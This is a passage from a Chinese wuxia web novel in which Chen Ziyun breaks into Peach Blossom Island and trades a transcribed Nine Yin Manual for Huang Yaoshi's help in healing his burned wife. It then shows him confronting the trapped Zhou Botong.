陈子云道,其实这是他早就打定了的主意,这时间要完全治愈赵茵萝这样的大面积烧伤确实是艰难至极。 第二百四十二章 上桃花岛 可作为这个世界里,当之无愧的天才,黄药师说不得就能创造奇迹。 “嗯。” 赵茵萝已经钻进了自己熟悉的被子里,只是以一声几乎不可闻的应答表示自己的意思。 “如果等我回来的时候,你不见了,那么我保证,天涯海角我都会去,海枯石烂我也会找。” 陈子云也不管那个躲在被窝里颤抖的人,他要马不停蹄的赶往东海,至于脸上的这点伤,他已经顾不得了。 “驸马爷,哎,这怎么把门给封了,这让小官如何给公主看病?” 陈子云在后院的围墙外遇见了被拦在门外的御医。 “多谢您了,不过茵萝此时的情绪,并不适合见人。想来您也察觉到了,她身上的伤势不是一般的烧伤。 不但烧伤面积惊人,而且经过这一个月的颠簸,加上初期又没有妥善的治疗,一般的医术手段怕是难有作用了。” 陈子云直言不讳的说道。 “这……驸马爷也懂医道?” 御医有些不以为然,但也始终保持着足够的尊重。 “我的医术自然是比不得御医院的诸位的,只是略知一二。” 陈子云道。 “那既然如此……” 御医还想争取一番,毕竟是宋宁宗让他来的,要是连基本情况都不了解清楚就回去,如何交代。 “您不用说了,回去禀告的时候,就说是我去东海找那位了,陛下必然明白我的意思。” 陈子云说完也就撇下了这位不知该如何是好的御医,自顾自的走了。 一路朝东,五百里的路程,陈子云换马不换人,在第二天的晌午就已经到了舟山沿海。 亮明身份,陈子云直接让驻守在此处的水师派遣了一艘大船送自己出海。 要是一般人想上黄药师的桃花岛,恐怕要么是让他派人出来接,要么就自己开船。 也不知道黄药师是何种想法,故意将自己的这塑造成一个十恶不赦的妖魔形象。 这海边之人畏桃花岛有如蛇蝎,相戒不敢近岛四十里以内,如说出桃花岛的名字,任凭出多少金钱,也无海船渔船敢去。 不过陈子云显然没时间去追究这些,要是黄药师能爽快的答应帮忙救治赵茵萝,那就是让宋宁宗直接将这桃花岛送给他也是小事。 到时候,皇帝钦命黄药师为真正的桃花岛主,也不过是一纸黄绢的事情。反正那个名不见经传的小岛,对南宋来讲不过是九牛一毛。 与皇帝的唯一爱女相比,实在是不可相提并论。 唐诗句有云:“人间四月芳菲尽,山寺桃花始盛开。”说的是,山上的气候较山下寒冷,所以桃花也开的晚些。 而这海岛的风情却是完全相反,就在这只算是开春没多久的时候,这海岛上已经是与人间不一般的摸样了。 “人间二月春初至,蓬莱已是万朵红。” 船将近岛,陈子云已闻到海风中夹着扑鼻花香,远远望去,岛上郁郁葱葱,一团绿、一团红、一团黄、一团紫,端的是繁花似锦。 美景,在有心人的眼里,自然是上天的恩赐;在满是心事的人眼里,处处都不过是碍眼的虚妄。 官船已经靠近了桃花岛的码头,陈子云老早就已经看到,几个仆人装束的人慌张的跑进了桃花岛深处,显然是对他们的到来并没有表示欢迎的意思。 陈子云深吸一口气,调动丹田之力,朝着岛内呼和一声。 “药师兄,故人来访,还请出岛一见。” 巨大的声响,直接震的那些近些的繁花纷纷跌落下了枝头。船上的官军要不是早有陈子云提醒捂住了耳朵,说不得就要被活生生震傻了。 可陈子云这声音固然不小,岛内却是不见对方回话,难道黄药师不在岛内,那可就糟了。 不过陈子云还是打算再试一次,虽然他有自信能闯过桃花岛内的那些迷阵,可自己毕竟是有求于人,不问主人的意见就擅自闯入,不是为客之道。 “药师兄,子云有事来访,还请赐见一面。” 陈子云这也算是够摆正姿态了。 “桃花岛封岛十年,谁也不见,走!” 黄药师的声音随着岛内惊起的燕雀一起朝着岛外飞来。 果然还是如此。 陈子云此时心里已经有了预判,看来丧妻之痛以及徒弟的背叛,让本来就性格乖僻的黄药师变的更偏激了。 同时也是暗暗恼怒,为何偏偏撞上了这个时候,要说黄药师最难沟通的时候,也就是这个节骨眼了。 凭着陈子云对黄药师的关注,自然知道,梅超风跟陈玄风此时已经偷了黄药师的九阴真经,累及他的夫人冯氏难产而死。 黄药师一怒之下将所有弟子都打断了腿,赶出了桃花岛,那个大徒弟不正在牛家村卖酒吗。 不过此时的陈子云哪里还有退路,今天不论如何自己都必须见到黄药师,甚至他已经做了最坏的打算。 “药师兄,在下确实是有万分紧急的事相商,还请务必出岛一见。要是药师兄有何诉求,只要是子云能做到的,必不推辞。” “哼,我桃花岛做不到的事情,你却能做到,子云兄好大的本事,既然如此那你又何必来此,走。” 黄药师那桀骜的个性,自然是受不得陈子云这般的话语,直接就反唇相讥。 “药师兄,你我这般的沟通终究是累人了些,何不出岛一叙?” 陈子云耐着性子道。 “不见就是不见,子云兄,你何时变得这么不干脆,再不走,别怪黄某不顾往昔情面。” 黄药师直接下了最后通牒。 “哎,药师兄,在下确实有不得不见的理由,既然如此,就恕在下无礼了。” 陈子云岿然一叹道。 “哼,子云兄既然如此,那黄某就在岛中恭候大驾。” 黄药师也不是喜欢与人分说的人,要不是看在以前跟陈子云相处还算的上顺眼,早就不予理会了。 陈子云无奈,可他此时也知道,不闯一闯这桃花岛,自己不论再怎么说也绝不会让黄药师屈尊的。 第二百四十三章 闯阵 “你们在这里等我,要是我天黑之前没有出来,你们就自己先回去。” 陈子云朝着这艘船的掌舵人说道。 “是,大人,还请大人保重。” 掌舵人领命,虽然不解何为陈子云会先让他们回去,但是既然是命令,那作为军人,自然是服从第一。 陈子云从船上直接跳下,不理会众军士的惊讶,直接几步加速之后,就冲进了桃花遍地,让人找不着方向的密林之中。 正所谓欲入桃花岛者,必先过桃花阵。陈子云倒是想看看,这让群雄束手的奇门之术,到底有何门道。 陈子云虽然些读过一些周易,也算是通晓道家八卦,可一进桃花林,他就知道,自己终究还是小看了黄药师。 对方在奇门术数的造诣上,绝对不在他的那一身超凡绝俗的武艺之下。而且与黄药师喜欢自创武学,不落窠臼的习惯相同,这桃花林也不是按照一般的周易、八卦布置的。 其中的诸多变化,陈子云直看得眼花缭乱,却是始终分不出生门究竟开在何方。 嘿,既然没法按照正常的步骤来,那就想办法跳出这黄药师设置好的窠臼。 陈子云直接跃出桃花林,在花枝上借力,直接高出桃花林一丈有余,打算俯瞰周围的景物,一边找到方向,一旦找到,一口气直接冲出去。 可到了上面才知道,黄药师的本事真是神乎其技。 只见南边是海,向西是光秃秃的岩石,东面北面都是花树,五色缤纷,不见尽头,只看得头晕眼花。花树之间既无白墙黑瓦,亦无炊烟犬吠,静悄悄的情状怪异之极。 原来这桃花岛上,不单单是这桃花林遮住了乱入人的眼,就是那黄药师的居住地,也是巧妙的隐藏在了奇门之中。 一般人没有点见识,根本就找不到这遍布全岛的大阵关键所在。 此时摆在陈子云面前的就两条路,要么一步步慢慢的尝试,将这桃花林的变化摸透。毕竟就算是六十四卦之术再繁杂,终究还是有一定的规律的。 但是陈子云明显没有这个时间跟这些死物耗着,等他找到黄药师,那才是真正的难关。 所以陈子云别无他法,只能从衣袖中抽出了他的相思小刀。 “伙计,这次倒是要把你当成伐木的锯子用了。” 陈子云直接将相思飞出,将袖中藏着的金属丝竭力的张开,随即开始挥舞衣袖。 这满林的桃花,随着陈子云衣袖的挥舞,开始从枝头飘落。陈子云动作大些时,桃花便下的快些,当他的动作轻些时,桃花落的就少些。 桃花林似乎无边无际,可再多的桃花,哪里受得住陈子云这般的糟蹋,他每每移动一步,那一步之间的桃树基本就成了真正的光棍司令。 而这般光秃秃的桃树枝,自然是挡不住陈子云的视线的,没有了这乱花渐欲迷人眼的芳华,这桃花大阵就已经破了一半。 只要陈子云这般的继续下去,自然有把整个桃花林变成桃枝林的一刻。 “住手。” 可作为桃花岛的主人,黄药师看着自己辛苦培育了十数年的桃林就这么被陈子云糟蹋,终于还是看不下去了。 要是一般人自然,黄药师自然不用担心,有人会用这样的蠢办法。别看陈子云这样简单就能破坏桃花阵,要是换了常人来,光是要把一棵树的桃花摇落,都要废一番功夫,何况这桃林中的桃花不计其数。 而有陈子云这样本事的人,自然也不会这般的不顾身份,用这么低级的手段。 可偏偏陈子云就是这么做了,这让黄药师恨的牙痒痒。 “焚琴煮鹤之辈,子云兄,你让黄某很失望……往东来……” 黄药师的语气冷的能滴出水来。 “呼……” 陈子云在呼出一口大气之时,收刀入袖,他甚至感到相思小刀的声声低鸣的抱怨声。 当然那些如今变得张牙舞爪的桃树,也在无言的诉说着,对于陈子云的愤恨。 陈子云便带着黄药师的数落,相思小刀的抱怨以及桃树林的仇恨,朝着东方疾步而行。 对于此时的陈子云来讲,桃花岛中再美的景色也引不起他片刻的驻足。什么弹指峰、清音洞、绿竹林、试剑亭,在陈子云眼中也就是个矮土丘,狗熊洞,老竹丛,四角亭子,见不得丝毫的文韵。 倒是在路过黄药师老婆的陵墓的时候,算是忙中抽闲行了个礼,不过这也大概率,或者说下意识是做给黄药师看的。 可当陈子云看到,不过一年没见的黄药师,此时也如他这般华发早生的时候,却也生出了几分同情。 “药师兄,这一年不见,却也是白霜满鬓了。” “哼,莫非子云兄,这么大动干戈的强闯我这桃花岛,就是为了来看黄某笑话的?” 黄药师没好气的说道。 “药师兄,何必这样咄咄逼人,在下比起药师兄的境况也是有过之而无不及,又如何有脸嘲讽药师兄的窘迫。” 陈子云苦笑一声道。 “那你不好好在临安当你的驸马爷,到底来我这桃花岛所为何事?” 黄药师似乎有些不耐。 “实不相瞒,是拙荆又受了相当麻烦的伤势,故此特地来请药师兄出手相助。” 陈子云微微下拜道。 黄药师听到此处却是似乎被勾起了什么伤心事,那眉头与心头一起蹙着,让人见着也是知道他是愁煞了。 “你当黄某是什么人,他宋氏皇朝坐拥江山,难道就真以为这天下人都要奉他为主。有个头疼脑热都要来找黄某人,真当黄某是江湖郎中不成!” 黄药师突然就有了怒发冲冠的摸样,这让陈子云有些愕然,怎么不过是讲了半句话就又翻脸了。 “药师兄,千万别误会,要不是实在……” 陈子云自然是想解释一番的,可黄药师显然没给他这个机会。 “不用说了,不说黄某已经立誓此生不离桃花岛,就算是可以,黄某也没兴致去救别人的老婆。” 黄药师直接一挥衣袖,整个人都转过了脸去,像是有什么大悲伤不像让人窥见。 第二百四十四章 黄药师的危害 “药师兄,内子,实在是别无他法,宫中的御医……” 陈子云道。 “够了,你的夫人生病了有御医整治,那我的夫人呢,她为了……为了……” 黄药师竟然哽咽的说不下去了。 陈子云从未见过落泪的黄药师,他可以高傲,可以孤单,甚至可以殉情,但是这样的人物,如何能流下泪来。 “为什么,我就只能看着她在我怀里去世,而束手无策。什么奇门遁甲,什么医术炼丹,什么绝世武学,都救不得,医不得,留不得。 子云兄,你告诉我,这天下为何就不能随着我的爱,一起葬了?” 黄药师此时看着陈子云的眼神,让陈子云想到了,那些严重偏离了正常社会价值观的疯子,恐怖分子,那是一种随时都能拉着世界一起陪葬的决绝。 黄药师疯了?不,他本来就不是什么正常人。 “药师兄,还请……收敛心神。” 陈子云本来是要说节哀的,可以黄药师的此时的情绪,还是镇定下来才是关键。而且以黄药师对冯氏的痴情,让他节哀,不过是最敷衍的话而已。 对方既然能在黄蓉长大后,还念着为冯氏殉情,就足够说明,这样的爱,这样的悲伤,根本不是能止住的。 换句话说,为了将黄蓉养大成人,黄药师其实是痛苦万分的忍受了将近二十年的岁月。 这样的爱,不是偏执狂是无法理解的,就算是陈子云也不懂。那位不曾一见的冯氏,到底是如何的女子,能让这个天底下最孤傲,最有才情的东邪黄药师,如此着迷,以至于愿意生死相随。 “哈哈哈……哈哈哈……” 黄药师怪异的笑着,像是在耻笑陈子云的口不择言,又像是在笑自己的无奈,可悲。 “地……地……” 一声声带着奶气的婴孩的呼唤,让黄药师瞬间收住了即将放开的癫狂。 “蓉儿。” 黄药师轻声呢喃了一句。 “对啊,我还有蓉儿,我不能……” 黄药师似乎找回了让自己不逃离正常人世的支持,转身就朝着传来呼唤声的那件小屋而去。 “黄蓉这个小丫头,原来刚出生就拯救过世界啊。” 陈子云见黄药师终于从崩溃的边缘爬了回来,心里突然就闪过了这样的念头。 一个发了疯的东邪,绝对比任何一个五绝都恐怖,黄药师可不是一心只练武功的人物。 琴棋诗画不用说,奇门八卦可是能运用到军阵上的。想想三国时期的诸葛亮,就大概能明白,对于即将到来的乱世,黄药师这样的人物到底能起到什么作用。 说从无到有,靠一人之力辅助君主建立一国有些夸张了。可要是黄药师心血来潮的想打乱如今中原几国之间的微妙平衡,让战乱提前到来,绝不是不可能的事情。 就陈子云而言,要是对方敢入金,或者直接投靠还未崛起的蒙古,那么他就会不惜一切,必将黄药师杀在他出境之前。 就算是用整个子虚换,或者再加上一万南宋精锐也在所不惜。 过了许久,屋内的孩子的哭闹终于是停了下来,黄药师从里面探出了半个身子,朝着陈子云招了招手。 陈子云顿时喜出望外,事情似乎都因为小黄蓉的哭闹而改变了。 屋里的里的陈设很是简约,竹椅,竹桌,一些简单的字画装饰。可简约却丝毫不简单,整个屋内的格局给人的感觉非常的舒服,就好比是屋外那些美景延伸到这屋子里一样,整个融合在桃花岛的大环境之中。 黄药师朝着一条竹椅子指了指,是在示意陈子云坐下。要是一般人做在这样的举动自然是无礼至极的表现,可对于黄药师来讲,陈子云却是觉得丝毫都没有违和感。 可陈子云这时也没有坐下来跟你黄药师慢慢聊的心思,急不可耐的就又开口请求道。 “药师兄……” “嘘……” 黄药师直接将手指放在嘴边示意噤声,有些懊恼的指指隔着帘子的里屋。 陈子云顿时明了,原来是小黄蓉正在里面睡觉,那自己刚才的急切发声,自然是不妥的。 “药师兄?” 陈子云压低音量试探性的发声,询问黄药师合不合适。 黄药师点点头,脸上的神色好看了不少,依旧朝着那把竹椅子点了点。 此时的陈子云也知道,这下不坐下来慢慢说怕是也不成了。 陈子云如坐针毡的坐下,刚想开口,黄药师又指指椅子旁的茶几上放着的还透着热气的茶碗。 陈子云心想,要是不顺着黄药师,自己恐怕是难以达成目的了。 也不知道这碗茶是什么味道,只觉得茶水还是烫的从入口开始一线而下,直达胃部,又似乎有一股热气直冲头顶。 “好茶!” 尽管陈子云将音量压的很低,可也能听出他语气中的惊讶。 黄药师倒是毫不惊讶,只是自顾自的也端起了他的那杯,同样一饮而下。 要是按照正常的待客流程,这一杯待客茶喝完,自然就是要等主人家先发话了。 可陈子云愣愣的等着黄药师开口,对方却微微合着眼,似乎还在品味刚才的那杯好茶。 陈子云既然是有求于人,自然也就只能先等着,等黄药师从这茶韵中回过神来,再开口。 可等到黄药师第三次将那只空茶碗从他眼前晃过去的时候,陈子云知道自己再怎么装作若无其事也不行了,对方明摆着是在端茶送客啊。 “药师兄……” 陈子云很是谦卑的称呼了一句,可回应他的还是黄药师那杯遥指房门的空茶杯。 陈子云暗暗咬牙,但凡要是把黄药师打残后,他就能按着自己的意思,跟自己回去治疗赵茵萝,他早就出手了。 可是黄药师的那种软硬不吃的臭脾气,但凡陈子云敢在桃花岛动手,他是绝不会屈服的。 “九阴真经。” 陈子云想来想去,也就只剩下这一个了。 “咔嚓。” 那杯本来在黄药师手中的空茶碗,直接就成了瓷器沫子。 第二百四十五章 小黄蓉的功劳 “哇哇,地地……地地……” 茶碗的破碎声最是惊人,这好像是刻在基因里的。自然也就吵醒了在里屋熟睡的小黄蓉,呼唤声让黄药师连九阴真经也顾不得,一个转身就又去安慰女儿了。 果然如此,这害死爱妻,让自己徒弟背叛自己的罪魁祸首,在黄药师的心里,已经成了一个执念。 既然如此,陈子云此时已经与黄药师互换了身份,轮到他自己稳坐钓鱼台了。 手里既然有对方不得不咬的鱼饵,就不怕这条大黄鱼不上钩。 等陈子云斜着嘴将茶杯送到嘴边,才发现,黄药师可没给自己的杯子里添水。 “咳咳。” 陈子云假意清了清喉咙,装着十分自然的将茶杯再次放到茶几上。 “你怎么还没走?” 黄药师抱着一个粉雕玉琢一般的瓷娃娃从里屋出来,见到陈子云还好整以暇的端坐着似乎很意外。 陈子云瞪大眼睛看向他,就连那怀中睁着圆溜溜的黑眼睛看着他的小黄蓉都来不及注意了。 陈子云是真的不敢相信,刚才一听到九阴真经还激动的捏碎了茶碗的黄药师,此时似乎把刚才的事情,彻底忘记了。 “九阴真经?” 陈子云试探的问了一句,可刚出口,就意识到不对了。不是黄药师突然得了失忆症,而是对方想借此机会,化被动为主动。 要是黄药师自己开口询问九阴真经的事情,那必然是落入了陈子云的下怀,一旦陈子云开口要求什么,那黄药师又如何能拒绝。 可这下,由陈子云再次开口说出关窍,那就显得是陈子云在用九阴真经求他黄药师办事,这九阴真经就成了要先奉上的拜见礼,敲门砖了。 “好你个黄药师!” 陈子云笑骂一声,手指点着黄药师道。 “丫丫……” 黄药师怀里的小黄蓉,留着口水,朝着陈子云咿呀道,两只小手还在空中晃悠着,那摸样似乎是在招呼陈子云抱她。 这让陈子云如何能拒绝,下意识的就要伸手去接,却被黄药师那严厉的眼神给制止了。 这个女儿奴,陈子云心里鄙视着,可随即又有些羡慕,虽然长大后的黄蓉有些坑爹,但是这个时候的小黄蓉实在是让人看着就想捧在手心里。 “哇哇……” 当小孩子得不到自己想要的东西的时候,本能就会呼喊,接着就是哭泣。小黄蓉此时就是这般,似乎相对于自己这位当爹又当妈的父亲,对于陈子云这个陌生人她似乎更有兴趣,两只手使劲的撑着,向这陈子云就要扑过去。 可黄药师自然是不舍得自己的宝贝进入陈子云的怀抱的。 他自问不是什么好人,自然也不乏用最卑劣的心思去揣测别人,尤其是在经历了最亲近的人背叛之后。 要是陈子云借此挟持小黄蓉,来要挟自己,那他黄药师不是要束手就擒。虽然陈子云可能不会真的伤害自己的女儿,但是那种身不由己的状态,也不是黄药师能接受的。 所以此时这桃花岛小屋内的情形,就是黄药师抱着小黄蓉向后仰着,小黄蓉挣扎的要往陈子云怀里钻,而陈子云则是进退两难,不知道该不该接的摸样。 “药师兄,还是先给我笔墨,我将知道的九阴真经部分默写给你。等我们达成了交易,再让我与这位小侄女亲近,如何?” 陈子云知道自己要是不打破这局面,把黄药师弄的尴尬了,反而无法达成自己的目的。 这个局,还是由自己来破才是最合适的。 “部分?” 黄药师将小黄蓉再次拢到怀里,有些迟疑的问道。 “不错,全本的九阴真经我是没有的,但是其中的紧要部分倒是都记得。虽然内子的病情确实棘手,但这天下第一的绝学,即使是部分,怎么付得起药师兄的出诊费了。” 陈子云此时倒是直言不讳,也不怕黄药师翻脸,因为他知道,如今九阴真经就是黄药师心中的一个执念,不怕他不答应。 黄药师踌躇了片刻,就对着陈子云道。 “你……跟我来。” 黄药师将一片不知是什么的小零食塞进小黄蓉的嘴里,竟然就让本来还在吵闹的小家伙顿时安静了下来。 粉嘟嘟的小嘴,使劲的吸允着,似乎是在吃什么无上的美味。 黄药师抱着小黄蓉在前面带路,陈子云跟着来到了侧边一间书房内。一张打磨精细的书桌上,是摊开着的纸张,雪白的宣纸被两块墨绿色的镇纸压的很是平整。 几只狼毫笔挂在笔架山,砚台里还有尚未彻底干透的残墨,只要加点水,用墨块稍微再磨一磨,就是上好的墨汁了。 陈子云也不用黄药师指示,直接站到宣纸中间,将两块镇纸稍稍的朝两端靠近了些,让纸张更加的贴合桌面,也更加的平整。 从笔架上选了一只一看就用的比较少的狼毫笔,抬起手腕就要让这支经常被冷落的妙笔饱饮墨汁。 可临近了砚台的笔端,就这么斜停在了那有些干涩的墨汁上方,就是不下去,陈子云斜眼看着黄药师,那神色彷佛就是在问,为何还不研墨。 黄药师差点就没忍住,拿起桌上的砚台往陈子云的头上砸过去。可九阴真经四个字就像是桃花岛的魔咒,一天不将这个魔咒解除,他黄药师就一天得不到真正的安宁。 当时的一个贪心,就算是聪明如他黄药师也没有想到,会给他的桃花岛带来堪比灭门的灾祸。 黄药师缓缓吐出一口浊气,将还在与临时战斗的小黄蓉抱在左手,右手拿起放在一旁的上等墨锭,沾了些水,便在砚台里转动了起来。 不过黄药师手上研墨,眼睛却是盯着陈子云,那明显就是在警告对方,要是对方写出来的九阴真经不能让他满意,那他就要将这砚台和墨锭从陈子云的嘴里塞下去。 小黄蓉因为被自己父亲用一只左手抱着有些不舒服的扭了扭身体,不过好在那个好吃的东西好没吃完,暂时没有哭闹起来。 第二百四十六章 说服黄药师 陈子云在黄药师几乎快要压不住的自己脾气的时候,缓缓的用黄药师的笔,饱沾黄药师亲自用黄药师的墨锭在黄药师自己的砚台里研出的墨。 当第一笔下去的时候,陈子云也就只能这样的安慰自己了。 今天终究还是他陈子云又有求于黄药师啊。 对于九阴真经,陈子云并不在意,或者说不管是什么武学,就算是小李飞刀这般的旷世绝学,要是能医得好赵茵萝,他也绝不会犹豫。 陈子云唯一不甘的不过是被黄药师,或者是这世间如今唯一能被陈子云看在眼里的人物压一头而感到郁闷罢了。 要是换做别人,洪七也好,段智兴也罢,就算是欧阳锋,陈子云的第一选择都会是用武力压服,或者是借势压人。 而且他有相当的把握能让这三人就范,无他,因为他们三人都有家有业,而且都属于正常的人物,不管好坏善恶,起码都是趋利避害的。 只有这个黄药师,要是陈子云敢拿着桃花岛或者是那位在牛家村卖酒的曲三威胁他。 陈子云都不用想,自己绝对是得到一个大火漫天的桃花岛以及一具看不清面目的焦尸,这就是跟不讲规则的人打交道的坏处。 将自己从倚天世界里得来的九阴残篇都尽数写在宣纸上,虽然算不得全本,但真经大部分精要已经都在其中了。 这自然是要感谢那段与杨过那位后辈——黄衫女交流时候,对方不加保留的相赠,连那些叽里咕噜的梵文总纲都不用黄药师再去翻译了。 这些九阴真经上的东西对如今的陈子云来讲,借鉴倒是可以,重新去学实在是不必了。九阴真经号称天下武学总纲,其中的广博是真的,可要说里面的功夫有多深奥。 陈子云摇摇头,不论是小李飞刀,还是自己还不曾彻底搞懂的那种剑气,其深奥程度皆在九阴真经记载的武学之上。 “不错,不错,原来如此……原来如此……阿衡……” 黄药师却是一边看着陈子云默写经文,一边在仔细琢磨。时不时梦呓的般的发出一些感叹。 九阴真经上部他是见过的,里面记载的一些武功虽然不差,可以他的骄傲却也没有去练他人武学的想法。 可当黄药师真的体会到九阴真经下部总纲的渊博之后,却是也不得不佩服创出这部真经的那位黄裳宗师的才华。 能让他黄药师说一声不错的,这天下可没有几个人。就算是现在还在世的那几位同为五绝的人物,也绝对创不出这样的绝学来。 无他,因为这些人都有自己的传承,而同时也落入了这古人的窠臼之中。 只有他黄药师,上通天文,下通地理,五行八卦、奇门遁甲、琴棋书画,甚至农田水利、经济兵略等亦无一不晓,无一不精。 也只有如此才情做基础,才有了他不弱天下的各种自创功法。 这也是黄药师小看天下,孤傲到宁可独居桃花岛傲然出世,也不愿意跟一帮子蠢货俗人同居的原因。 陈子云在最后一个字上重重的收笔后,便直接让出位置给黄药师,示意他自己查验真假。 黄药师神情激动的翻看着,连一旁被他放在书桌上的小黄蓉也没有理会了。 九阴真经,这是他黄药师的噩梦,也是他不可得的魔咒。 当连续看了三遍之后,确认经文绝不是陈子云临时编出来糊弄自己的,这位已经两鬓斑白的中年男子,任凭清泪流淌,点点滴在经文之上。 “地地……低低……” 小黄蓉似乎感觉到了自己这位爹爹的哀伤,连本来吃的正欢的那个好东西也丢下了,一个劲的往黄药师的地方挪动着小屁股,嘴里呼唤着含糊的称呼。 “子云兄。” 黄药师没有急着安慰闹着找父亲的小黄蓉,却反而神色认真的看着陈子云。 “你认为,黄某能否在有生之年,创出超越这部九阴真经的武学,超越这位同宗的前辈?” 陈子云楞了一下,可随即也反应了过来,认真的点点头道。 “以你黄药师的才情,要是真的把精力都放到武学上,自然不输这天下间的任何人,不论以前,还是以后。 不说其他,就是单单弹指神通这一项,却是刚好克制了九阴真经的爪功。” “是啊,不错。” 黄药师眉眼上露出了些许喜色,可随即又凝结了成了冷霜。 “那就是说,是那两个孽徒自己有眼无珠了。” 陈子云自然知道黄药师说的是谁,梅超风,陈玄风,确实是有取死之道。以黄药师对他们的重恩,却偷书出逃,害得黄药师挚爱难产而死,这样的恩仇,换做陈子云也绝对是杀、杀、杀。 要是不杀,心头如何平息的了怒火,心境不畅,武功又如何能再进一步。陈子云曾经也猜测过,以黄药师的天赋才情,怎么可能会在武学进境方面与另外几人相当。 不说甩他们十万八千里,可要像当年王重阳那般压其他几人一筹,绝不是件难的事。 陈子云分析的原因不过三个,第一自然是为了养育小黄蓉,付出了大量的心血,这当过父母的都知道;第二就是他自己的诸多爱好,分散了太多精力;第三就是这迟迟不得消除的心结,让他止步难前。 而这第三个原因,在陈子云看来才是最重要的,也是耽误黄药师一生的,要不然他也不会到了黄蓉成年就想着要殉情了。 心有死志,哪里还会在武学上下功夫。 可这也反衬出了一件事,那就是即使是这样的黄药师,在这般的处境中,还是能跟上同辈人的步伐。 这就好比那些上课不怎么认真,下课只知道玩闹,每次考试却从不落后于人的学霸。 那是但凡稍微努力一点,就让普通人绝望的存在。 陈子云静静的站着,黄药师也终于又抱起了小黄蓉,他眼角的泪也流尽了。 “子云兄,你跟我去个地方,见见一位老朋友吧。” 黄药师道。 “老朋友?” 陈子云顿时想到了,黄药师所说之人,想必就是被困在此处的周伯通了。 第二百四十七章 再见周伯通 “不错,说来也是这位老朋友,黄某倒是忍着几次没杀他。” 黄药师说的也是真话,冯氏的死虽然从道理上说与周伯通并无瓜葛。可在他黄药师的眼中,要不是周伯通这么蠢,拿着九阴真经到处显摆,他们又怎么会有机会下套。 那冯氏又如何有机会默默背下这罪魁祸首,他的徒弟自然也不会心生龌龊,最终累死冯氏。 黄药师这样的逻辑显然是可笑的,但是真的碰到了这样的事情,说不定一般人早就疯了,那疯子杀人难道还要找正当理由吗? “黄药师,你个乌龟王八蛋,你个没心肝的小偷,你个杀千刀的强盗……” 黄药师带着陈子云走了一段,还没到地方,就已经传来了周伯通不堪入耳的叫骂声。 “原来黄兄说的老朋友,是这位。” 陈子云笑道。 “哼,就是这个泼皮无赖,如今真经已经到手,黄某这就将此人赶出岛去,否则我这桃花岛怕是要成无耻岛了。” 黄药师跟周伯通完全是两类人,一个是天生的俊才,一个却是天生的顽童,自然是都看不顺眼对方的行径。 一个认为对方不顾道义,骗取他的九阴真经;另一个认为对方愚蠢至极,蛮横无耻不可理喻。 两人来到一个山洞前,一个浑身邋遢的中年男子,正在草丛间打滚撒泼,口中污言秽语不断。 正是被困在岛上的周伯通,虽然还不是困了十几年后的长须长发野人摸样,可那本来就不怎么爱干净的性子,这位顽童如今真像是个乞丐中的乞丐摸样了。 “周伯通,你这是在玩什么游戏?” 陈子云笑问道。 “谁,不是黄老邪?” 周伯通翻了个跟斗直接从地上跃起,惊讶的问道。 “咦,怎么是你?” 周伯通对于陈子云的出现很是吃惊。 “啊呀,黄老邪也来了,你是跟他一伙的。” 周伯通满脸戒备的往后跳了两跳。 “你也想抢我的九阴真经!” 陈子云真想替王重阳好好教训一番这个不着调的师弟,他苦心孤诣造就的全真教落在这样的师弟,跟那般的徒弟手里,如何能在这乱世中长存。 “周伯通,我要是想要九阴真经,你觉得王真人会不会直接送给我?” 陈子云没好气的反问道。 周伯通见陈子云提到了自己已故的师兄,顿时也开始认真的思考起来。结果发现,以自己师兄对陈子云的器重,要是对方开口讨要经书,按照师兄的性格,却是不会推辞的。 这就让他纠结了,自己师兄临死前,让自己将这九阴真经藏好,免得霍乱天下,自己因为不小心被黄药师夫妇给骗了。 要是陈子云再来骗他,那他周伯通死后如何面对自己的师兄。 “不行,如今我师兄已经羽化,这经书是他让我藏的,就算是你要,我也绝不能给你。” 周伯通道。 “没人要你的经书,我这次来桃花岛是来请药师兄帮忙的,跟你和你的宝贝经书无关。” 陈子云无奈的翻了个白眼。 “当真?” 周伯通有些不信的问道。 “自然。” 陈子云道。 “黄老邪,他说的是真话吗?” 周伯通虽然不耻黄药师的诈骗行为,可也知道对方的性子孤傲,不会在这种事情上撒谎。 “不错。而且以后你也不用再待在桃花岛了,你可以离开了。” 黄药师本来就是为了九阴真经才将周伯通困在岛上的,如今心愿已了,留着这么一个祸害,不过是徒添烦恼。 “离开?你黄老邪会这么好心?不对,你肯定是在骗我出洞,不错,你肯定是在使诈。” 周伯通连忙退回洞内,深怕黄药师跟陈子云联手对付他。 至于洞内为什么就安全,那自然是他布置的其妙机关陷阱,要是两人敢进来,自然是要他们屎尿当头。 “哼,周伯通,我黄某是想要你手中的经书,但是还不至于用如此手段。” 黄药师的脸色瞬间就拉胯了下来。 “我不信,你跟你那个夫人,都不是好人,能骗我一次,就能骗我第二次……“ 周伯通的声音从洞口传来。 “你……” 黄药师哪里听得别人侮辱自己的夫人,顿时就想冲进洞里。如今反正九阴真经已经到手,也不用再跟周伯通遵守什么约定了。 好在陈子云拦下了有些怒发冲冠的黄药师,免得他进去之后,被屎尿大阵暗算。 “周伯通,你辜负了你师兄的重托了,你可知道?” 陈子云朝着洞里喊道。 “这关我师兄什么事,你别骗我。” 周伯通明显不信。 “您倒是想想,为何王真人要你将九阴真经带离全真教,藏到外地?” “是我师兄宅心仁厚,不想江湖因为这本经书再起风云。” “不错,不过这只是其一。王真人也是担心,自己去世之后,全真教没有人能保得住这经书,反而招来祸患。” “……你说的也不错,可这又如何,我又如何错了?” 周伯通语气强硬的道。 “可你有没有想过,你师兄最放心不下的究竟是什么,还不是你这个师弟,跟全真教的徒子徒孙吗?” “……是又如何?” “可你看看,你如今是在做什么?放着那钟南山上的那帮徒子徒孙不管,一个人躲在这桃花岛里。 你可知道,年前我还在临安城里遇见过丘处机,你可知道他当时正准备做什么?” 陈子云故意停顿了一会儿。 “……哎呀,你个云朵儿,有什么事情就利落的说啊,周伯通不想猜了。” 周伯通急切的埋怨道。 “哼,他当时想刺杀一位礼部的三品大员。” “啊!” 周伯通一声惊叫,就是连一旁的黄药师也是侧目而视。 “这小子,这小牛鼻子,怎么这么糊涂啊。” “是啊,可不是糊涂吗。真当大宋的朝廷是泥捏的,就因为如今的全真教不在大宋境内,他们就敢这般的胡来。 还是说,是你这个如今全真教辈分最高的师叔,故意放任他们如此做的?” 陈子云言辞严厉的说道。 第二百四十八章 指点 “不,不,我师兄吩咐过,全真教若要自保,绝不参会朝堂之事,我怎么会……” 周伯通连忙解释着。 